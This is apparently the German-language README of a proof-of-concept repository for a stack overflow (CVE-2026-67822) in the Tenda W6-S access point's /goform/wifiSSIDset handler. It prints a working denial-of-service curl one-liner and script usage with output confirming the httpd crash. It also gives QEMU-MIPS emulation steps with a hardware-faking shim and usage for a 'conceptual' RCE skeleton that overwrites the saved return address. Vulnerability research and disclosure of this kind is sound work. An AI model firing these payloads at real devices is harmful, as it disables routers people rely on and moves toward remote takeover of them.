
PoC für CVE-2026-67822 Stack-Überlauf in Tenda W6-S /goform/wifiSSIDset: DoS-Reproduzer, QEMU-MIPS-Shim und konzeptionelles RCE-Payload-Skelett.
wifiSSIDset-Stack-Pufferüberlauf (PoC)Begleit-PoC zum Hunt-Benito-Artikel
"GO Without Bounds: CVE-2026-67822 — Stack-Pufferüberlauf im wifiSSIDset-Formularhandler des Tenda W6-S".
CVE-2026-67822 (CVSS 9.8 Kritisch, CWE-121) ist ein stack-basierter Pufferüberlauf
in formwrlSSIDset(), der C-Funktion hinter dem Endpunkt /goform/wifiSSIDset von
/bin/httpd des Tenda-W6-S-WLAN-Zugangspunkts (ein von GoAhead abgeleiteter Webserver).
char v34[64]; /* 64-byte stack buffer */
GO = websGetVar(a1, "GO", "wireless_basic.asp");
index = websGetVar(a1, "index", "0");
sprintf(v34, "/%s?index=%s", GO, index); /* unbounded -> stack overflow */
Bestätigte Auswirkung: Denial of Service (httpd-Absturz).
Potenzielle Auswirkung: Remotecodeausführung (MIPS, kein Stack-Canary / kein ASLR im Build).
| Betroffenes Produkt | Tenda-W6-S-WLAN-Zugangspunkt |
| Betroffene Firmware | v1.0.0.4(510) |
| CVSS v3.1 | 9.8 Kritisch (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-121 (Stack-basierter Pufferüberlauf) |
| Verwundbarer Endpunkt | POST /goform/wifiSSIDset (Parameter GO, index) |
| Entdecker / Anerkennung | trister |
| Datei | Zweck |
|---|---|
poc_dos.py | Bestätigtes DoS-Reproduktionsskript. Sendet einen überlangen GO-Parameter und erkennt den daraus resultierenden httpd-Absturz. Nur Standardbibliothek — keine Abhängigkeiten. |
exploit_conceptual.py | Konzeptionelles RCE-Gerüst. Demonstriert die Form des Control-Flow-Hijacks (Auffüllen bis zur gespeicherten $ra, Überschreiben) sowie einen Helfer für zyklische Muster, um den Offset zu $ra empirisch zu ermitteln. Liefert keine einsatzbereiten Shellcodes oder Gadget-Adressen mit. |
fake_apmib.c | LD_PRELOAD-Shim, das Tenda-Hardware-/MIB-Aufrufe vortäuscht, damit /bin/httpd unter einem QEMU-MIPS-Gast bootet — die Technik, mit der der Fehler ohne physisches Gerät reproduziert wurde. |
Gegen ein echtes W6-S (Standard-LAN-IP 192.168.5.10) oder eine emulierte Instanz:
$ python3 poc_dos.py --target http://192.168.5.10
[*] Target : http://192.168.5.10/goform/wifiSSIDset
[*] Payload : GO = 2000 bytes ('A'), index = 0
[*] Sending POST...
[+] HTTP response: 200 (httpd accepted the request before crashing)
[*] Re-probing the management interface...
[!] httpd no longer responds (connection refused) — service crashed.
[+] Result: denial of service CONFIRMED.
Äquivalenter Einzeiler:
$ curl -s http://192.168.5.10/goform/wifiSSIDset \
-d "GO=$(python3 -c "print('A'*2000)")&wl_radio=0&index=0"
Nachdem die Anfrage zurückgekehrt ist, ist die Verwaltungsoberfläche tot, bis ein Power-Cycle erfolgt.
fake_apmib.so)/bin/httpd erwartet echte Tenda-Hardware (libapmib.so, den cfmd-Daemon, eine
LAN-MAC). Das fake_apmib.c-Shim täuscht gerade genug davon vor, damit httpd
in einem emulierten Firmware-Dateisystem booten kann. Der Aufbau spiegelt die
Technik des ursprünglichen Forschers wider.
$ mips-linux-gnu-gcc -shared -fPIC -o fake_apmib.so fake_apmib.c
$ sudo brctl addbr virbr0
$ sudo ifconfig virbr0 192.168.5.1/24 up
$ sudo tunctl -t tap0
$ sudo ifconfig tap0 192.168.5.11/24 up
$ sudo brctl addif virbr0 tap0
$ sudo qemu-system-mips -M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mips_standard.qcow2 \
-append "root=/dev/sda1" \
-netdev tap,id=tapnet,ifname=tap0,script=no \
-device rtl8139,netdev=tapnet \
-nographic
guest# ifconfig eth0 192.168.5.10
# copy the extracted firmware filesystem + the shim onto the guest
$ scp ./squashfs-root.tar.gz [email protected]:/root/
$ scp ./fake_apmib.so [email protected]:/root/squashfs-root/
httpd mit dem Shim startenguest# mount -o bind /proc ./squashfs-root/proc
guest# mount -o bind /dev ./squashfs-root/dev
guest# rm ./squashfs-root/webroot && ln -s /webroot_ro ./squashfs-root/webroot
guest# chroot ./squashfs-root/ /bin/sh
chroot# mkdir -p /var/run /tmp && chmod 1777 /tmp
chroot# LD_PRELOAD=/fake_apmib.so /bin/httpd &
Die Verwaltungsoberfläche ist nun unter http://192.168.5.10 erreichbar
(Standard-Login admin / admin), und poc_dos.py funktioniert dagegen genauso
wie gegen echte Hardware.
| Vom Shim abgefangen | Rückgabewert | Grund |
|---|---|---|
apmib_init() | 1 | Hardware-/MIB-Initialisierung überspringen |
ConnectCfm() | 1 | vortäuschen, dass der cfmd-Daemon geantwortet hat |
GetValue("lan.ip", …) | 192.168.5.10 | statische Verwaltungs-IP |
ioctl(SIOCGIFHWADDR) | 00:11:22:33:44:55 | Fake-MAC |
connect() | Passthrough | Unix-Socket-/TCP-Verbindungen funktionieren normal |
Die exakten Prototypen von Tendas internen
apmib/cfmd-Helfern variieren je nach Firmware-Build. Verifizieren Sie sie anhand des echtenlibapmib.soIhres Zielgeräts (objdump -T libapmib.so/ IDA) und passen Siefake_apmib.cbei Bedarf an.
exploit_conceptual.py dokumentiert die Form der Ausnutzung über den DoS hinaus:
# 1) Find the offset from the GO buffer to saved $ra on YOUR firmware build
$ python3 exploit_conceptual.py --target http://192.168.5.10 probe --len 256
# (read the faulting $ra / PC from the QEMU crash dump or a gdb stub, then
# feed it to cyclic_offset() to recover the exact offset)
# 2) Build a payload that overwrites $ra with a chosen address
$ python3 exploit_conceptual.py --target http://192.168.5.10 build --offset <N> --ra 0x<AABBCCDD>
Dieses Gerüst lenkt ausschließlich $ra um. Um aus dem Hijack tatsächliche
Codeausführung zu machen, ist entweder Non-NX-Stack-Shellcode oder eine ROP-Kette
erforderlich, die aus Gadgets im jeweiligen Firmware-Image zusammengesetzt ist —
beides ist build-spezifisch und bewusst dem Forscher überlassen. Der DoS ist bestätigt;
RCE ist der plausible Worst Case, den der CVSS-Vektor (C:H/I:H) widerspiegelt.
Dieser Code ist ausschließlich für autorisierte Sicherheitsforschung bestimmt. Führen Sie ihn nur gegen Geräte aus, die Ihnen gehören oder für deren Test Sie eine ausdrückliche schriftliche Genehmigung haben. Verwenden Sie ihn nicht gegen Netzwerke oder Hardware, die Sie nicht kontrollieren.